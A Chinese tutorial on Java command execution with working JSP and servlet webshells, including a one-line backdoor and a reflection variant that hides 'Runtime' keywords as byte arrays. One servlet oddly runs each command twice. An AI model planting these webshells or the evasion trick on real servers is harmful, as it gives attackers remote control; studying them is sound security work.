# Java 本地命令执行

Java 原生提供了对本地系统命令执行的支持,黑客通常会 RCE利用漏洞 或者 WebShell 来执行系统终端命令控制服务器的目的。

对于开发者来说执行本地命令来实现某些程序功能 (如:ps 进程管理、top 内存管理等) 是一个正常的需求,而对于黑客来说 本地命令执行 是一种非常有利的入侵手段。

# Runtime 命令执行

在 Java 中我们通常会使用 java.lang.Runtime 类的 exec 方法来执行本地系统命令。

# Runtime 命令执行测试

runtime-exec2.jsp 执行 cmd 命令示例:**

<%=Runtime.getRuntime().exec(request.getParameter("cmd"))%>
  1. 本地 nc 监听 9000 端口: nc -vv -l 9000
  2. 使用浏览器访问:http://localhost:8080/runtime-exec.jsp?cmd=curl localhost:9000。

我们可以在 nc 中看到已经成功的接收到了 java 执行了 curl 命令的请求了,如此仅需要一行代码一个最简单的本地命令执行后门也就写好了。

nc监听请求

上面的代码虽然足够简单但是缺少了回显,稍微改下即可实现命令执行的回显了。

runtime-exec.jsp 执行 cmd 命令示例:

CommandExecutionServlet.java

package org.chenluo.hijkuhki;

import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;

@WebServlet("/exec")
public class CommandExecutionServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String cmd = request.getParameter("cmd");

        if (cmd == null || cmd.isEmpty()) {
            response.getWriter().write("No command provided");
            return;
        }

        try {
            Process process = Runtime.getRuntime().exec(cmd);
            InputStream in = process.getInputStream();
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            byte[] buffer = new byte[1024];
            int bytesRead;

            while ((bytesRead = in.read(buffer)) != -1) {
                baos.write(buffer, 0, bytesRead);
            }

            request.setAttribute("output", new String(baos.toByteArray()));
            request.getRequestDispatcher("/result.jsp").forward(request, response);
        } catch (IOException e) {
            response.getWriter().write("Error executing command: " + e.getMessage());
        }
    }
}

代码说明:

  • @WebServlet("/exec"):注解定义了这个 Servlet 的 URL 映射。当用户访问 /exec 路径时,这个 Servlet 会被触发。
  • extends HttpServlet:表明这个类继承了 HttpServlet ,使其成为一个 Servlet。
  • doGet:处理 HTTP GET 请求的方法。
  • request.getParameter(“cmd”):从请求中获取名为 cmd 的参数,即要执行的命令。
  • 参数验证:检查 cmd 是否为空。如果为空,返回错误消息并结束请求。
  • Runtime.getRuntime().exec(cmd):使用 Runtime 类的 exec 方法执行系统命令。这个方法返回一个 Process 对象,表示正在执行的进程。
  • InputStream in = process.getInputStream():获取进程的输入流,以读取命令执行的输出。
  • ByteArrayOutputStream baos = new ByteArrayOutputStream():创建一个字节数组输出流,用于存储命令的输出。
  • while 循环:读取命令输出,将其写入 ByteArrayOutputStream
  • request.setAttribute(“output”, new String(baos.toByteArray())):将命令的输出结果作为请求属性传递给 JSP 页面。
  • request.getRequestDispatcher("/result.jsp").forward(request, response):将请求转发到 result.jsp 页面,以显示命令的执行结果。
  • catch 块:捕获和处理 IOException ,如果命令执行出错,返回错误消息。

index.jsp:

<%--
  Created by IntelliJ IDEA.
  User: chenluo
  Date: 2024/5/30
  Time: 09:45
  To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>My JSP Page</title>
</head>
<body>
<h2>Hello, JSP!</h2>
<form action="exec" method="get">
    <input type="text" name="cmd" placeholder="Enter command">
    <button type="submit">Execute</button>
</form>
</body>
</html>

result.jsp:


<%--
  Created by IntelliJ IDEA.
  User: chenluo
  Date: 2024/5/30
  Time: 11:52
  To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<!DOCTYPE html>
<html>
<head>
    <title>Command Execution Result</title>
</head>
<body>
<h1>Command Execution Result</h1>
<pre><%= request.getAttribute("output") %></pre>
</body>
</html>

目录结构如图所示:
目录结构

命令执行效果如下:

执行命令结果

# Runtime 命令执行调用链

Runtime.exec(xxx) 调用链如下:

java.lang.UNIXProcess.<init>(UNIXProcess.java:247)
java.lang.ProcessImpl.start(ProcessImpl.java:134)
java.lang.ProcessBuilder.start(ProcessBuilder.java:1029)
java.lang.Runtime.exec(Runtime.java:620)
java.lang.Runtime.exec(Runtime.java:450)
java.lang.Runtime.exec(Runtime.java:347)
org.apache.jsp.runtime_002dexec2_jsp._jspService(runtime_002dexec2_jsp.java:118)

通过观察整个调用链我们可以清楚的看到 exec 方法并不是命令执行的最终点,执行逻辑大致是:

  1. Runtime.exec(xxx)

  2. java.lang.ProcessBuilder.start()

  3. Process p = new ProcessImpl
            (toCString(cmdarray[0]),
                    argBlock, args.length,
                    envBlock, envc[0],
                    toCString(dir),
                    std_fds,
                    forceNullOutputStream,
                    redirectErrorStream);
    
  4. ProcessImpl 构造方法中调用了 forkAndExec(xxx) native 方法。

  5. forkAndExec 调用操作系统级别 fork -> exec (Unix)/ CreateProcess (Windows) 执行命令并返回 fork / CreateProcessPID

有了以上的调用链分析我们就可以深刻的理解到 Java 本地命令执行的深入逻辑了,切记 RuntimeProcessBuilder 并不是程序的最终执行点!

# 反射 Runtime 命令执行

如果我们不希望在代码中出现和 Runtime 相关的关键字,我们可以全部用反射代替。

reflection-cmd.jsp 示例代码:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Scanner" %>

<%
    String str = request.getParameter("str");

    // 定义"java.lang.Runtime"字符串变量
    String rt = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101});

    // 反射java.lang.Runtime类获取Class对象
    Class<?> c = Class.forName(rt);

    // 反射获取Runtime类的getRuntime方法
    Method m1 = c.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101}));

    // 反射获取Runtime类的exec方法
    Method m2 = c.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class);

    // 反射调用Runtime.getRuntime().exec(xxx)方法
    Object obj2 = m2.invoke(m1.invoke(null, new Object[]{}), new Object[]{str});

    // 反射获取Process类的getInputStream方法
    Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));
    m.setAccessible(true);

    // 获取命令执行结果的输入流对象:p.getInputStream()并使用Scanner按行切割成字符串
    Scanner s = new Scanner((InputStream) m.invoke(obj2, new Object[]{})).useDelimiter("\\A");
    String result = s.hasNext() ? s.next() : "";

    // 输出命令执行结果
    out.println(result);
%>

命令参数是 str ,如: reflection-cmd.jsp?str=pwd ,程序执行结果同上。

现在需要在 configure—>vm options 添加如下配置运行:

--add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.lang.ProcessImpl=ALL-UNNAMED

在 Java 9 及更高版本中,Java 平台模块系统(JPMS)引入了一些新的封装规则,以提高模块化和安全性。这些规则限制了对内部 API 的访问,以防止未授权的反射访问。您遇到的 java.lang.reflect.InaccessibleObjectException 错误就是由于这些封装规则导致的。

通过反射访问 ProcessImpl 类的 getInputStream 方法,而这个类和方法在 Java 9 之后变得不可直接通过反射访问。要解决这个问题,显式地打开这些模块和包,以允许反射访问。

以下是对这些修改的详细解释

反射和模块系统

Java 平台模块系统引入后, java.base 模块(以及其他模块)默认情况下对大多数反射访问进行了封装。为了通过反射访问这些模块中的类和方法,必须明确地通过 --add-opens 选项打开这些模块。

--add-opens 选项

--add-opens 选项告诉 JVM 允许反射访问特定模块中的包。这是必要的,因为:

  1. 封装:Java 9 之后, java.base 模块中的许多类和方法都被更严格地封装起来,禁止反射访问。
  2. 安全性:更严格的封装提高了 Java 应用程序的安全性,防止了未授权的代码反射访问敏感的 API。
  3. 向后兼容性:为了解决现有代码的兼容性问题,可以使用 --add-opens 选项。

添加 --add-opens 选项的步骤

打开需要的模块和包:通过 --add-opens java.base/java.lang=ALL-UNNAMED ,您允许未命名模块(即您的代码)反射访问 java.lang 包中的类和方法。同样,通过 --add-opens java.base/java.lang.ProcessImpl=ALL-UNNAMED ,您允许未命名模块反射访问 ProcessImpl 类中的方法。

# ProcessBuilder 命令执行

学习 Runtime 命令执行的时候我们讲到其最终 exec 方法会调用 ProcessBuilder 来执行本地命令,那么我们只需跟踪下 Runtime 的 exec 方法就可以知道如何使用 ProcessBuilder 来执行系统命令了。

ProcessBuilder 命令执行测试

package org.chenluo.hijkuhki;
import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.StringTokenizer;
@WebServlet("/exec")
public class CommandExecutionServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String cmd = request.getParameter("cmd");
        if (cmd == null || cmd.isEmpty()) {
            response.getWriter().write("No command provided");
            return;
        }
        try {
            StringTokenizer st = new StringTokenizer(cmd);
            String[] cmdarray = new String[st.countTokens()];
            for (int i = 0; st.hasMoreTokens(); i++)
                cmdarray[i] = st.nextToken();
          
          // 直接使用 ProcessBuilder 执行
            Process pb = new ProcessBuilder(cmdarray)
                    .directory(null)
                    .start();
            Process process = Runtime.getRuntime().exec(cmd);
            InputStream in = pb.getInputStream();
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            byte[] buffer = new byte[1024];
            int bytesRead;
            while ((bytesRead = in.read(buffer)) != -1) {
                baos.write(buffer, 0, bytesRead);
            }
            request.setAttribute("output", new String(baos.toByteArray()));
            request.getRequestDispatcher("/result.jsp").forward(request, response);
        } catch (IOException e) {
            response.getWriter().write("Error executing command: " + e.getMessage());
        }
    }
}

执行一个稍微复杂点的命令: ls -la , 浏览器请求:http://localhost:8080/hijkuhki_war_exploded/exec?cmd=ls+-la

ls -la